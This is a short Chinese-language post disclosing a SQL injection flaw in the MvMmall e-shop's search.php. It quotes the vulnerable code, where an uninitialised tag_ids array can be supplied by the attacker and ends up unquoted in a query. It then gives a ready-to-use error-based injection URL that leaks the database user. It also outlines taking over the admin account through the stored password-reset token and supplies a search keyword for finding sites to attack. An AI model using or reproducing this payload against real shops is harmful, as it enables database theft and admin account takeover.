mvmmall网店商城系统注入漏洞

mvmmall网店商城系统最新注入0day问题出在搜索search.php这个文件上。

代码如下：

<?php
require_once ‘include/common.inc.php’;
require_once ROOTPATH.’header.php’;
if($action!=’search’){
$search_key  = ”;
if (isset($ps_search))
{   //省略一堆东西
$tag_ids = array();  //在if里
//继续省略
while ($row = $db->fetch_array($result)) {
$tag_ids[] = $row['goods_id'];
}  //也是在if里
}
//省略一堆东西
}  //结束if里的东西
//商品标签搜索
$tag_ids = array_unique($tag_ids);  //没有ps_search他就没初始化！可自行输入
$tag_search = implode(‘,’,dhtmlchars($tag_ids));    //dhtmlchars过滤HTML标签不用理会
$tag_search && $tag_search = “OR uid IN($tag_search)”; //呼…..成功了！
//省略无关东西
$search_sql  = “WHERE upv = ’1′  AND up_date<=’$m_now_time’”.” AND (( 1 ” . $cat_search . $search_key . $brand_search . $min_search . $max_search .” ) “.$tag_search.” )”;//没有单引号的….
$total_count = $db->counter($mvm_goods_table,$search_sql);

用ADMIN的用户和MALL后用找回密码功能 mvm_lostpass存放验证串直接改密码了。

测试EXP：

http://www.xx.com/search.php?tag_ids[goods_id]=uid))%20and

(select%201%20from(select%20count(*),concat((select%20(select%20user

())%20from%20information_schema.tables%20limit%200,1),floor(rand(0)*2))

x%20from%20information_schema.tables%20group%20by%20x)a)%20and%201=1%23

官方已经补了。关键字：Powered by MvMmall